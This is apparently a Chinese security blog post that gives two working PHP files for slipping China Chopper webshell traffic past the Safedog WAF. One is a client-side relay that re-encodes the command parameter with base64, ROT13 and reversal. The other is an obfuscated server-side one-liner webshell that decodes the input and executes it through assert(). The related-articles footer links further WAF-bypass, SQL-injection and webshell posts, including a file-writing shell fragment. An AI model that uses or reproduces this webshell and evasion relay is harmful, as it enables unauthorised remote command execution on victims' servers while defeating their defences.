前言

听说中国菜刀里有后门。抓包我是没有监测到异常数据包。为了以防万一,且更好使用中国菜刀硬杠安全狗。笔者收集了一下资料。无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshell绕过安全狗。
原理

菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密,然后再发送给shell,shell接收后用同样的算法进行解密,执行命令。

客户端

本地127.0.0.1,安装phpstudy
transfer.php

  1. <?php
  2. function encode($str){
  3. $DS = base64_encode($str);
  4. $DS = str_rot13($DS);//ROT13编码
  5. $DS = strrev($DS);//反转
  6. $DS = base64_encode($DS);
  7. return $DS;
  8. }
  9. // webshell地址,transServ.php为定制一句话
  10. $webshell = 'http://192.168.253.129/waf/transServ.php';
  11. $pdata = $_POST;//接受所有POST数据,数组
  12. //var_dump($pdata);
  13. foreach($pdata as $key=>$value){
  14. //echo $value;
  15. if(is_array($value)){
  16. $value=implode($value);//数组组合为字符串
  17. }
  18. // 菜刀密码
  19. if($key == 'x') {
  20. //var_dump($pdata[$key]);
  21. $pdata[$key] = encode($value);//encode编码
  22. //echo $pdata[$key];
  23. }
  24.  
  25. }
  26. $data = http_build_query($pdata);//模拟http请求的,把得到的数据data通过函数URL-encode请求
  27. //var_dump($data);//str字符串
  28. $opts = array (
  29. 'http' => array (
  30. 'method' => 'POST',
  31. 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n",
  32. 'content' => $data)
  33. );
  34. $context = stream_context_create($opts);
  35. //模拟post、get请求,创建资源流上下文,数据包
  36. $html = @file_get_contents($webshell, false, $context);
  37. echo $html;
  38. ?>

  

  1. 服务端

192.168.253.129,安装安全狗
transServ.php

  1. <?php
  2. $DS = @$/*-*/{"_P"."OST"}['x'];
  3. //echo $DS;
  4.  
  5. if (!empty($DS) ){
  6. echo $DS."<br>";
  7. $DS = @base64_decode($DS);
  8. echo $DS."<br>";
  9. $DS = @strrev($DS);
  10. echo $DS."<br>";
  11. $DS = @str_rot13($DS);
  12. echo $DS."<br>";
  13. $DS = @base64_decode($DS);
  14. $a=explode(" ", $DS);
  15. //var_dump($a);
  16. echo assert($a[0]);
  17. exit;
  18. }

  

  1.  

本地中国菜刀连接http://127.0.0.1/transfer.php   密码:x

想了解更多  欢迎关注

中转Webshell 绕过安全狗(一)的更多相关文章

  1. 中转Webshell 绕过安全狗(二)

    前言 在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php.某大佬提示并分享资源后,打算使用python完成中转.部分代码无耻copy. 客户端 本地127.0.0.1,安装pyt ...

  2. 绕过安全狗等一些WAF收集

    绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...

  3. [WEB]绕过安全狗与360PHP一句话的编写

    00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...

  4. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  5. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  6. Mysql注入绕过安全狗

    转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...

  7. [11期]绕过安全狗、云锁等各大WAF注入,上传深入自动化Bypass攻击

    CDN       负载均衡.内容分发 解析漏洞一般在服务层      二进制,溢出,提权在系统层         渗透测试就是以上全部层 协议未正确解析 GET改POST   这叫参数污染 cook ...

  8. sql注入绕过安全狗实战

    =绕过 like regexp(匹配)> < (测试安全狗 ><不可以绕过) 注释+换行(%0a作为垃圾数据填充) 联合查询绕过 探测出当union select 出现时会拦截 ...

  9. 分享PHP小马一枚,完美绕过安全狗检测。

    没做免杀之前,被狗咬死: 直接上代码: $p=realpath(dirname(__FILE__)."/../").$_POST["a"];$t=$_POST[ ...

随机推荐

  1. 各种工具的使用 tricks

    1. 搜狗搜索引擎 因为搜狗与腾讯的合作关系,搜狗搜索引擎提供了"微信"的搜索选项,可直接定位到相关文章,或者公众号. weixin.sougou.com 2. PyCharm P ...

  2. 分类算法SVM(支持向量机)

    支持向量机(Support Vector Machine ,SVM)的主要思想是:建立一个最优决策超平面,使得该平面两侧距离该平面最近的两类样本之间的距离最大化,从而对分类问题提供良好的泛化能力.对于 ...

  3. 机器学习 vs. 深度学习

    1. bias/vairance Trend # 1:Scale driving Deep Learning process. 2. feature learning 的方式 A common com ...

  4. Cocos2d-x 3.1 一步一步地做改编

    本文并不想谈论的屏幕改编或真理的概念.假设不知道cocos2d-x的,请先看这篇文章:http://www.cocoachina.com/gamedev/cocos/2014/0516/8451.ht ...

  5. NFC学习一个记录

    用电子钱包等似提出要求,最近几年NFC(near field communication 近场通信)我们开始慢慢普及.因为需要工作,今天是学习NFC相关知识,第一NFC一些基本列表的什么,做好记录. ...

  6. 百度地图 Android SDK - 新的版本号(v3.2.0)正式上线

    百度地图 Android SDK v3.2.0 在版本号 2014 年 11 月 07 日本正式推出工作完成! watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQ ...

  7. Rust 2017 调查报告:学习曲线是最大痛点(最大的问题是这门语言太偏底层了,现在做底层的少了。还有C这个绕不过去的存在)

    Rust 官方在社区上做了一次调查,以了解用户如何看待 Rust 的发展.调查共收到 5368 份回复,其中有 大约 2/3 的是 Rust 用户,剩下的 1/3 是非 Rust 用户,调查结果如下. ...

  8. 从零开始学习 asp.net core 2.1 web api 后端api基础框架(三)-创建Data Transfer Object

    原文:从零开始学习 asp.net core 2.1 web api 后端api基础框架(三)-创建Data Transfer Object 版权声明:本文为博主原创文章,未经博主允许不得转载. ht ...

  9. 多线程——继承Thread类别

    详细java此前使用多线程,让我们来看看下面的问题. 什么是多线程     简单的理解成:cpu"同一时候"运行多个任务,这就是多线程. (究其本质,当涉及到进程和线程的概念.上面 ...

  10. xmpp和OpenFire示例,即时聊天室,支持离线消息

    让我说说为什么写这个博客,这是因为我在上周末的研究XMPP和OpenFire,从互联网上下载Demo,但跑不起来.它花了很长的时间.它被改造.抬高.篇博文也是希望后边学习XMPP和OpenFire的同 ...